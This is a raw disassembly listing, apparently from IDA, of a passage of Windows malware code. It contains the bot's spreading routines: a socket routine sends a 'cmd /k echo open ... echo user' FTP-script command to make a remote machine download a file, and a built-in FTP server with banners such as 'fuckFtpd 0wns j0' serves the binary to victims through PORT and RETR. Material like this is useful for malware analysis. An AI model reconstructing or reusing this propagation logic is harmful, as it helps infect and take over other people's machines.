		jnz	short loc_4036BB
		dec	al
		push	edx
		mov	[ecx-1], al


loc_403675:				; CODE XREF: sub_403645+47j
		mov	ecx, esi
		call	sub_4036CA


loc_40367C:				; CODE XREF: sub_403645+4Bj
					; sub_403645+52j
		xor	al, al
		jmp	short loc_4036C5
; ---------------------------------------------------------------------------


loc_403680:				; CODE XREF: sub_403645+19j
					; sub_403645+20j ...
		cmp	edi, edx
		jnz	short loc_403699
		cmp	[esp+8+arg_4], dl
		jz	short loc_40368E
		push	1
		jmp	short loc_403675
; ---------------------------------------------------------------------------


loc_40368E:				; CODE XREF: sub_403645+43j
		cmp	ecx, edx
		jz	short loc_40367C
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40367C
; ---------------------------------------------------------------------------


loc_403699:				; CODE XREF: sub_403645+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_4036B6
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_4036AB
		cmp	eax, edi
		jnb	short loc_4036C3


loc_4036AB:				; CODE XREF: sub_403645+60j
		push	1
		mov	ecx, esi
		call	sub_4036CA
		jmp	short loc_4036BB
; ---------------------------------------------------------------------------


loc_4036B6:				; CODE XREF: sub_403645+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_4036C3


loc_4036BB:				; CODE XREF: sub_403645+28j
					; sub_403645+6Fj
		push	edi
		mov	ecx, esi
		call	sub_4037A2


loc_4036C3:				; CODE XREF: sub_403645+64j
					; sub_403645+74j
		mov	al, 1


loc_4036C5:				; CODE XREF: sub_403645+39j
		pop	edi
		pop	esi
		retn	8
sub_403645	endp


; =============== S U B	R O U T	I N E =======================================



sub_4036CA	proc near		; CODE XREF: sub_403053+1Fp
					; sub_403053+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_4036F6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4036F6
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_4036EF
		cmp	al, 0FFh
		jz	short loc_4036EF
		dec	al
		mov	[ecx], al
		jmp	short loc_4036F6
; ---------------------------------------------------------------------------


loc_4036EF:				; CODE XREF: sub_4036CA+19j
					; sub_4036CA+1Dj
		push	ecx
		call	sub_412E4F
		pop	ecx


loc_4036F6:				; CODE XREF: sub_4036CA+8j
					; sub_4036CA+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_4036CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_403706	proc near		; CODE XREF: sub_4032B0+13Ep
					; sub_40385F+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_403645
		test	al, al
		jz	short loc_403734
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_411FD0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_403734:				; CODE XREF: sub_403706+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_403706	endp


; =============== S U B	R O U T	I N E =======================================



sub_40373B	proc near		; CODE XREF: sub_403577+39p
					; sub_403577+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40374E
		call	sub_41C8AC


loc_40374E:				; CODE XREF: sub_40373B+Cj
		mov	ecx, edi
		call	sub_40385F
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_403764
		mov	ebx, eax


loc_403764:				; CODE XREF: sub_40373B+25j
		test	ebx, ebx
		jbe	short loc_40379A
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_412E60
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_403645
		test	al, al
		jz	short loc_40379A
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40379A:				; CODE XREF: sub_40373B+2Bj
					; sub_40373B+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40373B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4037A2	proc near		; CODE XREF: sub_403645+79p
		mov	eax, offset loc_41CB5C
		call	sub_412E30
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_4037C8
		mov	edi, [ebp+8]


loc_4037C8:				; CODE XREF: sub_4037A2+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_4037D5
		xor	eax, eax


loc_4037D5:				; CODE XREF: sub_4037A2+2Fj
		push	eax
		call	sub_413195
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_403806
; ---------------------------------------------------------------------------


loc_4037E1:				; DATA XREF: .nsp0:0041DF04o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_4037F0
		xor	eax, eax


loc_4037F0:				; CODE XREF: sub_4037A2+4Aj
		push	eax
		call	sub_413195
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_403800
		retn
; ---------------------------------------------------------------------------


loc_403800:				; DATA XREF: sub_4037A2+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_403806:				; CODE XREF: sub_4037A2+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_403824
		cmp	eax, edi
		jbe	short loc_403813
		mov	eax, edi


loc_403813:				; CODE XREF: sub_4037A2+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_411FD0
		add	esp, 0Ch


loc_403824:				; CODE XREF: sub_4037A2+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_4036CA
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_403844
		mov	edi, ebx


loc_403844:				; CODE XREF: sub_4037A2+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_4037A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40385F	proc near		; CODE XREF: sub_40373B+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40388C
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40388C
		cmp	al, 0FFh
		jz	short loc_40388C
		push	1
		call	sub_4036CA
		push	esi
		call	sub_4126F0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_403706


loc_40388C:				; CODE XREF: sub_40385F+9j
					; sub_40385F+10j ...
		pop	edi
		pop	esi
		retn
sub_40385F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40388F	proc near		; DATA XREF: .nsp0:0041F004o
		test	byte_462EAC, 1
		jnz	short loc_40389F
		or	byte_462EAC, 1


loc_40389F:				; CODE XREF: sub_40388F+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_413210
		pop	ecx
		retn
sub_40388F	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038B1	proc near		; CODE XREF: .nsp0:00403A30p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_41D1C4	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_41D1C8	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_41D1D8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40397F
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_41D1CC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40397F
		mov	edi, 400h
		push	esi
		mov	esi, dword_41D1D0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi ; dword_41D1D0
		mov	eax, offset byte_425BC0
		push	eax
		push	eax
		push	dword_432710
		push	[ebp+arg_0]
		call	sub_408045
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41246A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_41D1DC	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403983


loc_40397F:				; CODE XREF: sub_4038B1+50j
					; sub_4038B1+62j
		xor	eax, eax
		jmp	short loc_40399A
; ---------------------------------------------------------------------------


loc_403983:				; CODE XREF: sub_4038B1+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi ; dword_41D1D0
		push	ebx
		call	dword_41D1D4	; closesocket
		push	1
		pop	eax


loc_40399A:				; CODE XREF: sub_4038B1+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4038B1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_433B08	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_433AC8	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		call	dword_41D1D8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_403A11
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	dword_41D1CC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4039F2
		push	esi
		jmp	short loc_403A0B
; ---------------------------------------------------------------------------


loc_4039F2:				; CODE XREF: .nsp0:004039EDj
		push	0
		push	1213h
		push	offset dword_4209D8
		push	esi
		call	dword_41D1DC	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_403A15


loc_403A0B:				; CODE XREF: .nsp0:004039F0j
		call	dword_41D1D4	; closesocket


loc_403A11:				; CODE XREF: .nsp0:004039DBj
		xor	eax, eax
		jmp	short loc_403A57
; ---------------------------------------------------------------------------


loc_403A15:				; CODE XREF: .nsp0:00403A09j
		call	dword_41D1D4	; closesocket
		push	216Bh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4038B1
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_403A54
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_422888[eax]
		lea	eax, dword_422888[eax]


loc_403A54:				; CODE XREF: .nsp0:00403A3Dj
		push	1
		pop	eax


loc_403A57:				; CODE XREF: .nsp0:00403A13j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A5B	proc near		; DATA XREF: .nsp0:00405AEEo

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	dword_41D1AC	; WSAStartup
		push	edi
		call	sub_4134A4
		push	eax
		call	sub_411F40
		push	0FA00h
		push	471h
		call	sub_410D3D
		add	esp, 10h
		mov	dword_432710, eax
		push	edi
		push	ebx
		push	2
		call	dword_41D1D8	; socket
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	dword_41D1B0	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_41D1B4	; ioctlsocket
		mov	ax, word ptr dword_432710
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	dword_41D1C8	; ntohs
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	dword_41D1B8	; bind
		test	eax, eax
		jge	short loc_403B30
		mov	eax, ebx
		jmp	loc_404057
; ---------------------------------------------------------------------------


loc_403B30:				; CODE XREF: sub_403A5B+CCj
		push	0Ah
		push	esi
		call	dword_41D1BC	; listen
		mov	[ebp+var_228], ebx
		mov	ebx, dword_41D1DC
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_403B4E:				; CODE XREF: sub_403A5B+12Cj
					; sub_403A5B+5F4j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_41D1E0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_404054
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_403B4E


loc_403B89:				; CODE XREF: sub_403A5B+5EEj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_411F70
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_411F70
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_41C9D6	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404042
		cmp	edi, [ebp+var_C]
		jnz	short loc_403C40
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	dword_41D1C0	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_404042
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_403C0A
		lea	edx, [ebp+var_224]


loc_403BFA:				; CODE XREF: sub_403A5B+1ADj
		cmp	[edx], eax
		jz	short loc_403C0A
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_403BFA


loc_403C0A:				; CODE XREF: sub_403A5B+197j
					; sub_403A5B+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_403C28
		cmp	[ebp+var_228], 40h
		jnb	short loc_403C28
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_403C28:				; CODE XREF: sub_403A5B+1B5j
					; sub_403A5B+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_403C30
		mov	[ebp+var_4], eax


loc_403C30:				; CODE XREF: sub_403A5B+1D0j
		push	esi
		push	15h
		push	offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
		push	eax
		call	ebx ; dword_41D1DC
		jmp	loc_404042
; ---------------------------------------------------------------------------


loc_403C40:				; CODE XREF: sub_403A5B+169j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	dword_41D1D0	; recv
		test	eax, eax
		jg	short loc_403CA7
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_403C9B
		lea	eax, [ebp+var_224]


loc_403C67:				; CODE XREF: sub_403A5B+216j
		cmp	[eax], edi
		jz	short loc_403C75
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_403C67
		jmp	short loc_403C9B
; ---------------------------------------------------------------------------


loc_403C75:				; CODE XREF: sub_403A5B+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_403C95
		lea	eax, [ebp+ecx*4+var_224]


loc_403C81:				; CODE XREF: sub_403A5B+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_403C81


loc_403C95:				; CODE XREF: sub_403A5B+21Dj
		dec	[ebp+var_228]


loc_403C9B:				; CODE XREF: sub_403A5B+204j
					; sub_403A5B+218j
		push	edi
		call	dword_41D1D4	; closesocket
		jmp	loc_404042
; ---------------------------------------------------------------------------


loc_403CA7:				; CODE XREF: sub_403A5B+1F8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_413470
		lea	eax, [ebp+var_AC]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_412310
		add	esp, 18h
		test	eax, eax
		jnz	short loc_403CEB
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40402D
; ---------------------------------------------------------------------------


loc_403CEB:				; CODE XREF: sub_403A5B+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403D0F
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40402D
; ---------------------------------------------------------------------------


loc_403D0F:				; CODE XREF: sub_403A5B+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403D33
		push	esi
		push	0Dh
		push	offset a215Fuckftpd ; "215 fuckFtpd\n"
		jmp	loc_40402D
; ---------------------------------------------------------------------------


loc_403D33:				; CODE XREF: sub_403A5B+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403D57
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40402D
; ---------------------------------------------------------------------------


loc_403D57:				; CODE XREF: sub_403A5B+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_421E64
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403D7B
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40402D
; ---------------------------------------------------------------------------


loc_403D7B:				; CODE XREF: sub_403A5B+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403DB6
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403DB6
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40402D
; ---------------------------------------------------------------------------


loc_403DB6:				; CODE XREF: sub_403A5B+335j
					; sub_403A5B+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403DF1
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403DF1
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40402D
; ---------------------------------------------------------------------------


loc_403DF1:				; CODE XREF: sub_403A5B+370j
					; sub_403A5B+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403E3F
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_403E2F:				; CODE XREF: sub_403A5B+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx ; dword_41D1DC
		xor	esi, esi


loc_403E37:				; CODE XREF: sub_403A5B+4F3j
		mov	edi, [ebp+arg_0]
		jmp	loc_404030
; ---------------------------------------------------------------------------


loc_403E3F:				; CODE XREF: sub_403A5B+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403E80
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_403E2F
; ---------------------------------------------------------------------------


loc_403E80:				; CODE XREF: sub_403A5B+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403F53
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_413470
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41245F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41245F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_411F70
		push	[ebp+var_8]
		lea	eax, [ebp+var_F8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_411EEE
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_413459
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_411EEE
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx ; dword_41D1DC
		jmp	loc_403E37
; ---------------------------------------------------------------------------


loc_403F53:				; CODE XREF: sub_403A5B+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40400E
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx ; dword_41D1DC
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_40405E
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_404004
		call	sub_4040DB
		cmp	eax, 1
		jnz	loc_404030
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx ; dword_41D1DC
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_432710
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset dword_421CA8
		push	eax
		call	sub_411EEE
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_403FF5
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40F9F1
		add	esp, 14h


loc_403FF5:				; CODE XREF: sub_403A5B+575j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_408E17
		pop	ecx
		jmp	short loc_404030
; ---------------------------------------------------------------------------


loc_404004:				; CODE XREF: sub_403A5B+52Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40402D
; ---------------------------------------------------------------------------


loc_40400E:				; CODE XREF: sub_403A5B+50Dj
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404030
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40402D:				; CODE XREF: sub_403A5B+28Bj
					; sub_403A5B+2AFj ...
		push	edi
		call	ebx ; dword_41D1DC


loc_404030:				; CODE XREF: sub_403A5B+3DFj
					; sub_403A5B+539j ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_411F70
		add	esp, 0Ch


loc_404042:				; CODE XREF: sub_403A5B+160j
					; sub_403A5B+189j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_403B89
		jmp	loc_403B4E
; ---------------------------------------------------------------------------


loc_404054:				; CODE XREF: sub_403A5B+11Ej
		push	1
		pop	eax


loc_404057:				; CODE XREF: sub_403A5B+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_403A5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40405E	proc near		; CODE XREF: sub_403A5B+525p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_41D1AC	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_41D1D8	; socket
		push	[ebp+arg_0]
		mov	dword_43270C, eax
		mov	[ebp+var_10], 2
		call	dword_41D1C4	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_41D1C8	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_43270C
		call	dword_41D1CC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4040D6
		push	dword_43270C
		call	dword_41D1D4	; closesocket
		call	dword_41D1A8	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4040D6:				; CODE XREF: sub_40405E+60j
		push	1
		pop	eax
		leave
		retn
sub_40405E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040DB	proc near		; CODE XREF: sub_403A5B+531p

var_1037B	= byte ptr -1037Bh
var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	near ptr 0AB0000h
		or	[ebp+var_1037B], 0FFh
		push	offset aRb	; "rb"
		push	eax
		call	sub_4125E8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_404172
		test	byte ptr [esi+0Ch], 10h
